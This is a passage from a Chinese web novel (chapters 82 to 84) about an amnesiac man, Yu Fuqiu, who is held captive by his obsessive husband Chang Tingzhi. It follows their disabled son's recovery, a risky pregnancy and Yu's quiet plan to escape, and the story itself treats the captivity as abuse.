长庭知见他终于意识抬了,他笑着抬起余赋秋的双手,和自己的无名指上的戒指套在了一起,只见两枚戒指合在一起,在昏黄的灯光下隐约出现一个漂亮的叶子形状,“这是我们的婚戒,我亲自设计的,你说你很喜欢它。”
“……”
余赋秋的神色平淡无波,只是看着自己的掌心被长庭知包裹在宽大的手掌中。
“你看。”他与余赋秋十指相扣,将戒指微微倾斜,从里面可以看见两个法语的缩写,“你说这个语言是世界上最浪漫的语言,然后把我们的名字刻印在上面。”
“这是你亲手打的,世界上独一无二的。”他低下头,把自己的唇贴在了那枚戒指上,“我没有丢,我没有丢的。”
“我怎么可能会丢它。”
“……你没有看到这里一道深深的划痕吗。”余赋秋声音极其极其轻,整个房间只能听见他的声音,和彼此呼吸交错的温度,末了,余赋秋尾音轻轻上翘:“这么深。”
“你说什么呢。”长庭知神色如常,只是手指在几不可察地颤抖了一瞬,他紧紧地包裹着余赋秋的掌心,让他丝毫没有逃脱的可能性,“没有划痕,一定是你不小心掉在哪里呢。”
“我把它找回来了。”
“我不会再弄丢它了,球球。”
长庭知语气急促,像是知道了余赋秋要说什么。
他喉头哽咽,“我们再去打一个好不好?”
“这次亲手打,我们做一个,给春春也做一个,好不好?”
他找回了戒指,也找回了余赋秋,一切都还来得及,一切都还来得及。
他哀求地看着余赋秋。
但余赋秋只是面无表情地摘下了那枚戒指,勾住那枚戒指,松手。
那枚戒指咕咚咕咚地滚落在地上。
正如当初长庭知将那枚戒指当着余赋秋的面扔进了垃圾桶。
余赋秋摇了摇头,平静地说:“垃圾就应该呆它本来该呆的地方。”
第82章 第82章[VIP]
“……”
长庭知看着那枚滚落下去, 掉入漆黑角落里的戒指,他下意识地想要去找,却扑了个空, 指尖只能摸到一片虚无, 也许是他的神色太过于脆弱,余赋秋闭上了眼,不去看他。
“这话也是你对我说过的。”
“……不是的。”长庭知的嗓音嘶哑, 他指尖蜷缩起来,没有再去看那掉落在地上的戒指,而是回头把头埋入他的颈窝之中, “对不起, 我那时候伤害了你,我忘却了一切, 现在我……我……”
他蹭了许久, 然后把余赋秋的手抬起来,放在自己的脑袋上,声音听起来闷闷的,仔细听还能有一丝丝的委屈,“你为什么现在都不摸我了?”
“我每次下班, 你没有通告的时候, 就会在家门口的沙发上等我, 然后我会窝在你的怀里,每次我这样,你都会摸我的。”
余赋秋没动静, 只是垂眸看着他无名指上的戒指。
“对不起, 老婆,对不起, 对不起……”
长庭知无措地道歉,“你是不是还在生我的气?”
“我,我现在在学习了,他的记忆我都有了,你既然爱他,也看看我好不好?”
“或者,或者,不是为了我,也是为了春春,他的生日马上要到了,他最大的愿望就是我们能陪他去海边。”
“港城那边的房子我都叫人打扫好了,那棵树也被我养的好好的,甚至还能结出果实……”
“我们分离了多久?”
余赋秋忽然轻声道。
“两年零五个月!”长庭知抬起头来,眼睛亮亮的,余赋秋的手还搭在他的脑袋上,看起来像是一个委屈的狗狗。
“我们分离了这么久,让我一时间去平静的接受这些,是很难的一件事情。”余赋秋语气温柔,好似是四月的春风,让长庭知紧绷的神经松弛了下来。
余赋秋轻轻地抚摸了下长庭知的头发,随着他的动作,手腕上的链条发出清脆的响声,他循循道:“那至少,也把我放出来,我想看看我们的家,我们之前所有的回忆,嗯?”
长庭知似乎被很好的安抚到了,他的鼻尖抵着余赋秋的鼻尖,在那双眼眸里找到了自己的身影,半响,还是摇了摇头:“不要。”
“我花了这么久的时间才找到你,缺席了你生命中的两年,沈昭铭替代了我的位置,我好不甘心,你,你是不是什么都和他做过了?”
他双目赤红,语气又逐渐暴躁了起来,整个人又要陷入一种无法沟通的发疯状态。
余赋秋心头涌现起一股烦躁。
如果长庭知真的如他所说的那么爱他,那为什么他会失忆,会和沈昭铭在海外停留了两年,为什么他做的噩梦中全是长庭知的脸,为什么他看到长庭知的一瞬间,心口就会疼,他会想要引起生理性的呕吐?
他陪伴长春春的这段时间,也能知道一些自己和长庭知以前的情况。
他把长庭知养大,他们在一起十五年,相爱七年,结婚五年,只是后面不知道发生了什么,他失踪了,还失去了全部的记忆。
如果长庭知对他始终如一,为什么他们还会变成今天这般模样?!
他不想再陪长庭知玩这种无聊的过家家游戏了,可是他现在必须稳住长庭知,避免他又发疯,让他的情况再次变得更为糟糕。
余赋秋闭了闭眼睛,压下胸口那涌上来的反胃感。
他抬起长庭知的下巴,低下头,在他的唇角落下一吻。
长庭知一顿,瞳孔紧缩,微张大着唇,没了下一步的动作。
“我和他没有发生关系。”余赋秋轻声解释道。
他最多和沈昭铭同居过,但自从沈母找上了他后,他和沈昭铭的表面出现了一道裂痕,没有再发生更亲密的关系。
更何况,他的心脏情况不是很好。
更不能发生剧烈的运动。
“对不起。”余赋秋低声道歉,露出自己脆弱的后脖颈,任由长庭知掐住,“你这两年一定很没有安全感吧,那你把我关到你充满信任的时候,好不好?”
长庭知没想到余赋秋会这么说,他呼吸急促起来,极力控制着自己的声线,嘶哑着嗓音:“……我想想。”
“再让我想想,好吗?”
……
“爸爸。”
长庭知一个人坐在窗台边,烟一根接一根的抽着。
身后响起了长春春的声音,他把手中的香烟掐灭,然后打开了窗户去散烟味。
“怎么了春春。”他的声音有些低哑,仿佛前面失控的人不是他一般。
“春春找到了这张照片。”
长庭知的目光落在那张微微泛旧的照片上,照片拍摄的角度光线昏暗,画面上,是凌晨时分的玄关,昏黄的小夜灯孤零零地亮着,将一个清瘦的背影拉的很长很长,投射再冰冷光滑的地板上。
那人就那样安静地嘬着,面对紧闭的大门,微微蜷缩着身体,仿佛在等待着什么,又仿佛只是被无边的疲倦和孤独淹没。
“妈咪那段时间,很辛苦。”长春春的声音再次想起,他说话依然有些慢,但努力想把意思表达清楚,小手无意识地摩梭着轮椅扶手,“那段时间,爸爸你在……”
他停顿了下,望了一眼楼上紧闭的房门,“你在和那人亲密周旋,陪伴他参加大大小小的活动,而妈咪被爆出很多的黑料……”
“还要照顾我。”
他抬起头,清澈的眼睛望着长庭知,“妈咪他,一直在等着你回家。”
他指了指长庭知面前的白色地毯,白色地毯前面就是落地窗,从落地窗的角度可以看见小区的门口,“妈咪每晚不是坐在玄关处门口,就是站在这里眺望你的车,有没有回来。”
“可是爸爸……”他咬了咬下唇,“春春之前病倒了,妈咪发了很多的消息给你,恳求你回来,你却是挂断了一通又一通的电话,妈咪好不容易盼着你回来,他就站在落地窗的面前,看见的却是你下车,偏头亲吻那个人的模样。”
“妈咪以为春春什么也不知道,其实春春的房间也可以看到的,那个人威胁春春不可以说出去,不然他就会让妈咪身败名裂,春春不敢说,连你都站在那个人的那边……”
他声音很轻,“所以,爸爸。”
“你对妈咪好一点,再好一点,可以吗?”
“妈咪失忆,也许是不想记起那段让他痛苦的记忆,这可能也是个好契机,爸爸你重新和妈咪开始。”
“不好吗?”
短短的几句话,猛然扎入了长庭知的心脏。
窗外冷风呼啸,吹散了最后一丝烟味,也吹的他脊背发凉。
独属于另一个长庭知的记忆纷涌而至,那莫大的悲哀排山倒海般朝他涌来,仿佛下一秒就要将他吞噬。
他是长庭知吗?
余赋秋爱的,真的是他吗?
甚至面前的长春春,他真的是他的爸爸吗?
长庭知艰涩的滚动了两下喉头:“春春,你希望他出现吗?”
他。
另一个人格。
真真切切地陪伴在余赋秋和长春春十五年的人。
而不是他。
他才是冒牌货吗?
“什么?”长春春没有听清长庭知的话。
他为了夺回余赋秋,建造了黄金的牢笼,用尽了手段要抹去过去两年的痕迹,却在此刻,被长春春用一张过去的照片,无声地提醒着,早在沈昭铭出现之前,在他自己都还没有意识到的时候,他就已经把余赋秋逐渐推开了。
他想起自己第一次从这个身体醒来的时候,感受不到任何的情绪,没有任何的记忆,一个人在医院醒来,但睁眼却看见了余赋秋趴在他的床头,漂亮的眉眼安宁地沉睡着,眉目间的疲倦遮盖不住。
他下意识地想要去抚平余赋秋眉目间的褶皱,或许是他的动静太大了,余赋秋被吵醒了,他没有烦躁,只有满目的惊喜和爱意。
他手忙脚乱,问他哪里还不舒服,要不要喝水,慌张地按了闹铃喊来了医生,然后静静地看着他,眼泪从他的眼尾滑落。
“你终于回来了。”
他听见面前的人这么说。
医生来了,检查了他的情况,没有大碍,但他失去了所有的记忆,他望着余赋秋那张脸,说:“你是谁。”
他以为余赋秋会砸东西,会责怪他,甚至会抛弃他,他的童年都是在被抛弃、被买卖的路上过来的,所以他下意识的先入为主,认为余赋秋也是这样的人。
可是余赋秋只是颤抖地伸出手,温柔地抚摸了下他的脸庞,带着轻盈地笑意,含着泪的双眸深处倒映着他的身影,他说:“我是你的爱人。”
“忘记了没关系,只要你好好的,这比一切都重要。”
长庭知回神,长久的沉默着,他现在囚禁了这个人,却又从另一个自己的残影和长春春的严重,看到了曾经被辜负的等待与付出。
他没有回答长春春可以还是不可以,只是沉默地伸出手,用指尖极其缓慢、轻轻地拂过照片上那个被拉长的孤寂背影。
动作是前所未有的凝滞。
夜风吹动窗外摇曳的树枝,发出沙沙的轻响,他的侧脸在昏暗灯光下半明半暗,他深深地突出了一口气,对着长春春说,“很晚了,去睡吧。”
“妈咪……他很爱你的。”
即便失忆了,他身为母亲的本能却还是会爱着长春春。
那么……
每一晚他抱着余赋秋的夜晚,余赋秋看着他的神情里面是谁?
是那个长庭知吗?
他转过身,看着窗外无边无际的黑夜,整个人陷入阴影之中,再也找不出一丝缝隙。
……
余赋秋是被阳光刺醒的,他睁开了眼,发现先前被厚重窗帘关着的窗子被打开了,鸟儿叽叽喳喳的声音传递了过来,今天外面的天气很好,蓝天白云,甚至还能感知到一丝丝温暖的春风。
他下意识地想要伸手去触碰那一束温暖的阳光。
他感受到手腕上没有了束缚力,愣愣地看着自己的手腕。
白皙的肌肤上还留有红痕,那是长期带着铁链与皮肤摩擦发生所留下的痕迹。
他抬起头,看着四周。
那禁锢他的巨大鸟笼已经消失了,他被挪到了另一个房间,这个房间面朝阳光,温柔的阳光倾洒下来,轻盈的白纱窗被风吹起。
“妈咪!”
长春春打开了门,兴奋地喊着余赋秋。
余赋秋回眸,在看见长春春的一瞬间,瞳孔皱缩。
原本的长春春只能借助轮椅走路,医生说他恢复的很好,只是一直跨越不了心理的那个坎,所以他恐惧走路,恐惧外界的一切。
但在余赋秋陪伴的这段时间下,长春春的心理逐渐好了起来,他第一次提出要站起来试试,要去后院的小花园走走,要去看看花园水池中的小鱼。
他走路还是不稳,要借助手杖,明明几米的距离,他走的极慢,在看到余赋秋的那一瞬间,他急切起来,步伐也不由得快速起来。
但他太久没有站立起来去接触地面,连走路的姿势都有些怪异。
“啊——!”
小腿随着他步伐的紧绷,他右脚绊左脚,整个人差点摔在地面上的时候,却落入了一个温暖熟悉,他想念了很久的怀抱。
余赋秋的本能比大脑下达更快的指令,他猛地跨越一步,将那道小小的身影抱入自己的怀中。
“没事吧春春。”
心中的恐慌后知后觉涌上心头,余赋秋的手心里都出了汗,呼吸急促了起来,紧张地检查着长春春的身体。
“没事妈咪,春春没事,只是第一次走路,想给妈咪看看我的复健成果。”
长春春对着余赋秋露出一个甜甜的笑容,却无端让余赋秋酸了鼻子。
他的指尖穿插在长春春柔软的碎发之中,“妈咪一直在你的身边,你不用这么着急的。”
“所以妈咪看到了,春春很棒,是个最棒的小孩,在妈咪这里,你永远不用慌张。”
长春春愣了一下,眼眶迅速泛红,他转过头,带着鼻音,小声地嗯了一声。
过去两年,已经让他忘记了怎么在母亲的怀中撒娇,所以他此刻只能别过头,不想让妈妈看到自己哭泣的样子。
“对啦!左叔叔来啦!”
“左叔叔?”
余赋秋有些疑惑。
按照长庭知的本性,居然肯让别人来房间里看他?
他之前透过窗子,看过四周的情形,窗户敞开着,没有任何的措施,他本以为长庭知放他出来,至少会把房子里三层外三层包裹住,不会给他任何逃跑的机会。
只是他现在对这个地方不熟悉,房子的外面是一片茂密的森林,一眼望不到头,他贸然逃走,也只是会迷失在森林里面。
他现在身上的通讯设备都被长庭知收走了,他没有办法联系到沈昭铭,也根本不知道外界现在发生了什么。
还是不要轻举妄动的好。
“左成双。”长春春慢慢地站了起来,他拒绝余赋秋的帮助,“他要给春春复健,然后也给妈妈看看。”
“……”余赋秋一愣,难道是前几晚他心脏病发作,喂他吃药的是长庭知?
他记得自己和往常一样迷糊着冲着对方撒娇,误以为对方是沈昭铭……
可是看长庭知阴晴不定的性格,应该会更加暴怒地对待他,可是这几晚什么都没发生,长庭知只是按照往常那般,抱着他入睡,唯一不同的是,他的指尖会在余赋秋的小腹上轻轻摩梭着,那里有两道浅浅的疤痕。
一道是因为生长春春剖留下来的,另外一道余赋秋不知道是什么原因,他问过沈昭铭,沈昭铭只是说他生病了,留下的手术伤痕。
长庭知会反复亲吻着那道疤痕,仿佛是最虔诚的信徒。
长庭知知道他所有的喜好,知道他饮食上的所有不喜欢。
比如他不喜欢吃洋葱,不喜欢吃鸡蛋煎饼加酱料。
可是,一切都会变的。
某天早上,他看着红枣米粥,里面加了一勺糖,长庭知说他很喜欢吃这个粥,尤其是长庭知亲手熬的,在他怀着长春春的时候,孕晚期每晚一定要喝长庭知亲手熬得,不然他就会对长庭知委屈地哭,大声地质问长庭知是不是不爱自己了。
余赋秋低垂着眼眸,面不改色的喝完,然后趁着长庭知洗碗的时候,起身去了厕所,打开水龙头的声音,以此来掩盖他呕吐的声音。
这个时候,他会抚摸自己平坦的肚子,他总觉得,原本这个肚子里是有一个新的生命的。
可是他现在为了自由,不得不与长庭知周旋。
“妈咪!你看着春春下楼,好不好?”
长春春走到楼梯口,他们家有电梯,但医生说为了长春春的复健,还是尽量的多走路,去训练恢复肌肉的力量。
余赋秋将手杖收了起来,小心翼翼地环着长春春的周围,生怕他踩空滚落下去。
“球球。”
在长春春走下最后一个台阶的时候,余赋秋这才长长松了一口气,忽然听到了长庭知的声音,他的身体下意识地紧绷起来。
“爸爸!”长春春扶着栏杆,冲着长庭知露出一个大大的笑:“左叔叔!春春很棒了是不是?”
余赋秋才看见站在长庭知身后的医生,他戴着一副眼镜,手上提着医药箱和一份文件。
他和余赋秋的视线短暂地交汇了一下,余赋秋的头却开始轻微地疼了起来,面前的这个人让他感到非常的熟悉。
“……”
他张嘴,想要喊长庭知的名字,但张嘴了半天,却一句话也没有说出来,话语像是堵在了喉咙里头。
“很棒的,春春。”
长庭知笑着前去抱了一下长春春,然后拿过余赋秋手中的手掌,他撩起余赋秋的碎发,在他的额头上落下一个吻,“抱歉,今天有事情,辛苦你陪在春春的身边了。”
余赋秋垂落在身侧的指尖一动,喉头滚动了两下,轻声地应了一声,然后探头看着长庭知身后的人:“……那位是?”
身后的那个人似乎身体僵硬了下,但应该是得知了他失忆的情况,他扬起一抹笑,“余先生您好,我是庭知的朋友,也是春春的主治医生,我叫左成双。”
春天还是有些寒冷的,在左成双自我介绍完后,长庭知脱下身上的外套,外套上还带着长庭知的温度,披在了余赋秋的身上,他轻声道:“春天还是有些冷,开着窗户,还是得注意点,不要感冒了。”
前几天的余赋秋把他吓到了,他沉默了很久,还是找来了左成双,想要探讨余赋秋的身体情况。
余赋秋的状态算不上很好,他刚开始被囚禁的时候甚至绝食过,打翻饭菜更是家常便饭的事情,长庭知没办法,只能强制地给他打了营养液,才能勉强维持他的生命需求,但他的面色一日比一日还苍白,脸颊甚至轻微地凹陷下去,一日比一日瘦削,直到前几天他心脏病的发作。
但现在的余赋秋好了很多,起码不会再抗拒进食了,甚至在长春春的面前也会主动地提及想要吃的食物。
余赋秋在他的身边,虽然长庭知说很多很多的话,余赋秋都只是偶尔应答一声,但总归,余赋秋在他的身边。
失去的两年时光又怎样,他们的未来还有很长很长,总能弥补回来的。
左成双知道他和余赋秋的事情。
所以才得知长庭知的请求后,他没有立刻说话,只是透过眼镜后的那双眼睛,凝视着长庭知,“他被你带回来多久了。”
长庭知:“快……三个月了。”
左成双叹了口气:“三个月的时间说长不长,说短不短,你说他失忆了,但这个期间,你一直在他的身边,如果可以的话,他早就回忆了起来。”
“可是,他却没有回想起来,你没想过,这是他身体机制最原始的抗拒吗?”
长庭知的身体一僵,“抗拒?”
“嗯,春春在他的身边,他接纳了春春,我想也肯定恢复了一部分的记忆,但却始终没能恢复和你的记忆,你想想这是为什么。”
他摘下眼镜,放在手边:“现在你和我说,你想要他恢复记忆,恢复与你相爱的那些点点滴滴,忘却那些伤害不堪回忆。”
“你觉得,合适吗?”
长庭知张了张口,饶是以前,他根本不会顾虑这么多,他最看重就是结果,过程什么的,于他而言,根本不重要。
可是——
现在是余赋秋,
他面前浮现出那张孤独地坐在玄关处的照片。
他忽然陷入了迷茫。
他喃喃自语:“我已经知道错了,我只是想要挽回弥补他,我想要那个深爱我的他,我……”
“我融合了长庭知的记忆,我好嫉妒他,为什么先遇到球球的不是我,为什么先和他相爱的人不是我。”
“我现在好不容易有机会了,我想重新开始,我想要之前的他。”
“他对我好冷漠,你知道吗,看过了他深爱人的模样,我再也接受不了他不爱我的模样,他……他不可以爱上别人的。”
“我们走过了十五年,就只是分开了两年,他怎么就能爱上别人呢?”
“我,我现在知道错了,”他哑声道:“为什么……为什么都要阻止我,阻止让他重新爱上我?”
“我是错了……”他重复着,不知道向谁忏悔,“可是……也要给我一个改过自新的机会,不是吗。”
“给我一个机会,不能什么都没发生就宣判我死刑。”
他抬起头,对着左成双的视线,“我还是想试试。”
“那么爱我的他,怎么可能会抛下我。”
第83章 第83章[VIP]
余赋秋点了点头, 对着左成双示意:“你好,我是余赋秋,是……”
他停顿了下, 不知道要怎么介绍自己。
左成双笑了笑, “我是庭知的发小,他经常对我说你的事情。”
“左医生,那我先带春春去复健的房间了。”
脑袋的疼痛让余赋秋忍不住别开了脑袋。
“他是想起什么了?”长庭知看着余赋秋远去的背影, “你和他在过去有联系?”
“你想什么。”左成双面色淡然,“我见到他最后一面,是两年前, 我去别墅的时候给柯祈安治疗脚踝, 就是那次,你忘记了?”
长庭知面色一紧。
他怎么可能忘记。
那时候的余赋秋也被推了下来, 身子下面一滩血迹, 他失去了他和长庭知的第二个孩子。
“不要……不要提起那个名字。”
长庭知手指按着自己的太阳穴,道:“他好不容易才回到我的身边,两年的时光,我不想再经历了。”
“可是……真的,我从未体会到这种的感觉, 明明他就在我的身边, 我却还是惶恐不安, 每晚都会被噩梦惊醒,只有看见他在我的身边,我才能安心, 明明应该是这样的……”
他喃喃道:“我伸手, 即便抓住了他,还是感觉是抓住了虚空, 他还是会离我而去,我不要这样。”
他不习惯这样,他要自己的一切都掌握在自己的手中。
左成双作为长庭知的发小,也作为他们事情为数不多的知情者,知道在过去两年的时候,他整个人从发疯的状态到半死不活的状态,在最后得知了余赋秋踪迹,不惜一切代价去找到余赋秋。
他想起余赋秋离开前,恳求他,“求求你了,左医生,能不能我的庭知回来,我不要他,他,他太可怕了……我,我真的承受不住了。”
左成双原本没想到长庭知的手段能有多极端。
他没想到长庭知直接爆出了余赋秋的黑户,注销了他的身份,让他成为一个彻彻底底无名的人。
他一开始不明白为什么长庭知在过去的两年,即便自己工作再忙,也定期会过来查看长春春的复健情况,原本长春春的复健很缓慢,是长庭知一直在盯着,长春春才变成了如今勉强可以行走的状态。
他本以为长庭知是想要拿长春春来绑定余赋秋,可是现在看来,他才意识到,这个孩子不单单是可以捆住余赋秋,更是他们整个家庭的纽带。
他害的余赋秋流产,失去了他们的第二个孩子,想要抓紧余赋秋,只能让这个孩子回到自己的身边。
也是因为长春春,长庭知才甘愿将余赋秋放出了鸟笼,他虽然融合了长庭知的记忆,但从来没有切实真实地感受过余赋秋的爱。
原来真的有一个人爱他,是不计较任何代价的,是不企图任何的结果,单单是因为他,仅仅只是因为爱他。
和利益根本没有半分的关系,仅仅是因为他这个人。
如果,如果他那时候能对余赋秋在好一点点,他们是不是就不会变成如今的模样?
“我先给赋秋做一个检查,”他静默了下,“对了,药,我重新给你开一个,你的躁郁症越来越严重了,是时候换一个新药了。”
长庭知不想再吃药了,但自从他得知余赋秋可能死去后,整个人陷入了一种莫名发疯的状态,性格阴晴不定,只有余赋秋的东西能让他暂时的冷静下来。
“为了赋秋,你也要吃。”在走入房间之前,左成双转头对着他道:“你既然想要重新开始,你不想以一种随时可能会暴躁的状态去面对他吧。”
长庭知蠕动了下嘴唇,“好。”
……
左成双和余赋秋说了什么,长庭知不知道。
他坐在沙发上,如坐针毡,手止不住地扣着沙发,咬着下唇,直到嘴唇里布满了血腥味,他才慢慢地松开,然后又开始重新咬着。
忽然门开了,长庭知转头去看房间门口,只见左成双的神色不是那么好。
他深深地吸了口气,“赋秋的心脏,之前不是没问题吗?”
他们每一年都会去做体检,左成双那边有记录。
长庭知点点头:“是啊,每一年我们都会去体检,球球的身体很健康……”
“……”
左成双紧绷着脸,“你不知道他的心脏差成了什么样子吗?”
“只要在恶化下去,他的心脏会彻底转为成心衰,除了移植心脏,毫无办法。”
“庭知,你还要继续下去吗?”
“还有……”
左成双几乎是气急了,冷着脸把手中的检查报告甩在他的脸上。
“他都这样了,你怎么敢还让他怀孕的?!”
长庭知的动作僵在那里,低头看着散落的单子。
“他的身体在过去两年被沈昭铭养的不错。”左成双根本毫无顾忌,冷着脸看着长庭知骤然惨白的神色,“心脏的状态一直良好,偏偏被你带回来的三个月,心脏的情况开始恶化,前几天是不是心悸,喘不上气,甚至需要吃药。”
“……”
长庭知沉默不语,左成双已经猜出了半分,他叹了口气,“这个孩子……不能留,赋秋的身体已经不允许了。”
“我会帮你恢复记忆,但你……对他好一点吧。”
……
余赋秋出来的时候,长庭知呆呆地坐在沙发的面前,手中拿着单子。
“你知道了?”余赋秋轻声问道。
长庭知没说话,目光转向他平坦的小腹。
“我想留下这个孩子。”余赋秋说,“昭铭说我的身体不适合怀孕,所以我们从没做那个事情。”
“他给我记了很多我疾病的事情,在我行李箱的包裹里面,你可以去看看。”
“孩子……”长庭知哑声道:“可你的身体不允许。”
余赋秋轻轻摇了摇头,“两年前我醒来的时候,医生也是这么说,但昭铭不信,他把我照顾的很好,我不也是过来了?”
沈昭铭。
沈昭铭。
又是沈昭铭!
长庭知上前一步,指尖轻轻掰过余赋秋的下颚,“……在我面前不要提他,我不喜欢在你的嘴里听到任何人的名字。”
“现在在你面前的人是我,他可以做的,我也可以做,他不能做的,我也可以做。”
“听我的,球球,孩子……”他张口,却怎么也说不下去。
这是他的孩子。
不是那个长庭知的孩子。
是他和余赋秋的孩子。
打掉吗?
或许再不会有下一次了。
可是余赋秋的身体已经不允许了。
“庭知。”余赋秋轻轻在他的下巴处蹭了蹭,漂亮的眼眸抬起,倒映着长庭知的身影,这是他第一次喊着长庭知的名字,长庭知的呼吸停止了一瞬,静静地等待余赋秋下面的话,“那至少……过几个月看看情况,好不好?”
长庭知一顿,没说话。
“所以,为了我们的宝宝。”
他伸手,把长庭知的手掌心抚摸在自己的肚子上面,那里还有一个尚未成型的胚胎。
“你更要好好照顾我,是不是?”
长庭知喉头一动,哑声道:“……是。”
余赋秋紧绷的身体肉眼可见的松弛了下来,他踮着脚,亲昵地用额头蹭了蹭长庭知的额头,“所以,在宝宝还在我肚子里的时候,我想出去看看。”
“出去看看?”
长庭知沉默了下,抓着余赋秋的衣角僵硬住。
“听春春说,我以前是娱乐圈,演戏的。”余赋秋眉目弯弯:“我虽然还没恢复记忆,但是一听到这个职业,我就喜欢,所以你帮帮我,好不好?”
“更何况春春说想见褚楚了,听说是我经纪人?”
在长庭知选择爆出余赋秋的身份之后,就打定了主意。
他那时候只是为了得到柯家所有的资源,假意顺从着脑海中声音去接触柯祈安,如果他不按照声音去做,那么他的脑袋就会剧烈的疼痛,只有靠近柯祈安的时候才会好一些。
他那时候起了私心,也起了恶劣的心思,他想要把余赋秋拉入深潭,想看着余赋秋身败名裂,他的身边只有自己了,他只会呆在自己的身边,再也看不见其他人了。
外面的世界充斥着恶意,只有他能保护余赋秋,只有他能给予余赋秋光明。
所以他选择斩断余赋秋所有的翅膀和退路。
以一种极端的方式。
可事到如今,回旋镖扎到了他自己的身上。
他看着那双满是他身影的眼眸,修长的指尖穿插入他柔软的长发,“我不喜欢你在别人面前抛头露面,更何况娱乐圈太过于复杂了,你还怀着孩子。”
“……那至少……让我尝试下,好吗?”
长庭知抿着唇,长久的沉默在他们之间弥漫着。
“给我一些时间,我考虑下,并且处理一些事情。”
长庭知埋首于他的脖颈间,亲密的蹭着。
手轻轻抚摸着他的小腹。
余赋秋声音软了下来,“好。”
眼中的笑意却不达眼底。
……
“赋秋,你一定要这么做吗?”
左成双看着阴影中的余赋秋。
“……只有这样,他才会放我出去,我才有机会逃离,拜托你了,成双。”
“我不想再陪他玩这种无聊的过家家游戏了。”
第84章 第84章[VIP]
"球球。"
自从上次左成双来家里之后, 长庭知对余赋秋的监管松懈了很多,允许他从房间到小花园里面,余赋秋最近也很乖, 他仿佛回到了以前的余赋秋, 会在长庭知下班的时候,坐在沙发上,安静地抱着抱枕看着电视等着他。
有时候长庭知回来的晚了, 余赋秋也会裹着小毯子,昏昏欲睡,但玄关处总会亮一盏小灯, 厨房里有做好的醒酒汤, 虽然不是余赋秋做的,但余赋秋会去让醒酒汤温一下, 确保长庭知回来可以直接喝。
“怎么了庭知。”
长庭知现在在家里的书房办公, 他的电脑里面开着跨国视频会议,但他的注意力都在桌子后面沙发上安静地翻阅着书籍的余赋秋。
那双精致小巧的脚踩在沙发上,只是在脚踝的上边挂着一个小铃铛,走起来会发出‘钉钉’的声音。
只要他一走起来,长庭知就知道他在自己的身边。
他还是恍觉自己总是抓不住余赋秋, 心中的恐惧还是没有被填满, 他需要外界的刺激来告诉自己——余赋秋在他的身边。
余赋秋长发垂落, 如同小鹿般湿漉漉地眸子一眨一眨,认真地看着手中的书籍,他身上穿着的睡衣和长庭知是情侣款。
长庭知用余光撇着沙发上那道安静的身影, 直到眼睛干涩了才不舍得眨了一下。
原来——
爱人是这种感觉。
他又开始嫉妒自己身体中另一个长庭知, 凭什么他可以享受余赋秋十五年的爱?
不过没关系。
长庭知勾了勾唇。
他已经让左成双研制出药,彻底抹除身体中的那个人格。
余赋秋是他的。
谁也抢不走。
“长总, 长总?”
视频中的总监用法语问着一直没有回应的长庭知,“长总是有什么好事情要发生吗,笑得这么开心。”
长庭知这才注意到视频中的自己,唇角微微上扬,温柔地凝视着余赋秋。
他轻咳了一声,用法语回复道:“我的爱人回来了。”
他们都知道长庭知在寻找自己失踪的妻子,不过具体是谁并不清楚。
总监鼓了鼓掌,笑着祝贺:“那真是令人高兴的事情,希望下次我可以见见您的妻子。”
长庭知看着余赋秋,眉目弯弯:“一定。”
他却没看见余赋秋的手一僵,半天都没有翻动一页的书籍。
书房里的香气逐渐弥漫,窗外的阳光倾洒进来,鸟儿在枝头喊叫着。
余赋秋看着看着困了,脑袋一歪,手中的书籍掉落了下去,等他醒来的时候,才发现自己的身上盖着小毯子,长庭知坐在他的面前,手撑着脑袋,朝着他笑。
阳光刚好照耀进来,洒在了长庭知俊美的脸庞上,那双眼中倒映着余赋秋的身影。
余赋秋神情恍惚,记忆中的那道身影和眼前的面容逐渐重合,他下意识地抬起手,轻轻抚摸着长庭知的脸庞,轻声呢喃:“庭知……”
然后和以前无数次那样,攀着他的脖子索吻。
直到被吻的眼尾泛红,双眼含泪,长庭知才将他放开,亲昵地蹭了蹭他的鼻尖,“这么想我,我一直都在。”
“嗯,你在。”余赋秋喃喃道,“是你吧。”
噩梦中的是他,美梦中也是他。
两个人交错子在一起,却又不是一个人。
“想出去吗?”长庭知的手轻轻抚摸着他的肚子,似乎是想要感知到肚子里孩子的动静。
“我可以吗?”
余赋秋轻声反问道。
长庭知轻叹了口气:“那些害你的人,我全都让他们得到了罪有应得的惩罚。”
柯祈安现在变得人不人,鬼不鬼,本以为柯家会念着十几年的养育之情,来救他,但一点声响都没有,长庭知直接给柯祈安看了一则视频,视频中的柯家真少爷,在柯家举办的认亲宴上扑进了柯家人的怀中,柯家人泪眼朦胧,同时宣布了柯祈安陷害余赋秋的一切真相,与柯祈安断绝关系。
外界所有的人都得知了柯祈安那些虚伪的真面目,他被人扒出来当初拍综艺节目,他找人指示去放火烧毁余赋秋的房子,差点害余赋秋死亡,以及他找人自导自演,把自己拖入巷子的脏水全部泼给余赋秋。
现在公安以杀人未遂的罪名要逮捕柯祈安,只是现在柯祈安被长庭知抓着,还没有交给公安。
左成双说不要逼余赋秋太紧。
可是长庭知不想再等了,他已经等了两年了,他想要余赋秋想起来,想起他们相爱的点点滴滴,他会代替那十五年的长庭知生活下去。
“你才回到我身边一点时间,我真的很害怕、我真的很不安,很害怕你又要离开我。”
“球球,对不起,对不起。”他把头埋在余赋秋的怀抱之中,紧紧握着他左手无名指上的戒指,随即抬起头,胡乱地亲吻着余赋秋的头发,直到鼻尖都弥漫了余赋秋的味道,他才堪堪冷静下来,“我真的不能再失去你了。”
“姐姐给我你的死亡通知书,还给了你的骨灰,我真的崩溃了。”他轻声道:“如果不是春春,我想,我可能都会随你而去。”
“还好,还好,你还在我的身边。”
多亏了那个长庭知,很久之前就在余赋秋的身上安装了一个定位,可以检测他的生命体征。
也是多亏了那个,长庭知才能在两年后,确定余赋秋的位置,确定他真的还活着。
余赋秋沉默下来,任由他亲吻着,一点没有动作。
他其实多多少少想起了一些。
他们变成如今这样,不都是长庭知一手造成的吗?
他在先前最热烈的爱的时候,他弃之如敝屣。
他想通了,想明白了,甘愿放手了,长庭知却又不乐意了。
他不是都成全他和柯祈安了吗?
为什么他现在又要招惹他?
他体会过沈昭铭真正的爱。
他知道真正的爱不是这样的。
他应该尊重他的所有意愿,而不是以强制的手段留他在自己的身边。
他甚至想用长春春来绑住自己,如果不是左成双帮他,他现在是不是还在那个小小的鸟笼里面出不来?
余赋秋忽然觉得好累。
他真的觉得好累。
十五年的感情。
两年空缺的时光却没有教会长庭知他该如何去爱一个人。
一直以来都是他的一厢情愿。
他不想再听这种无聊的话语了,他神色耷拉,打断了长庭知这种廉价的自我感动。
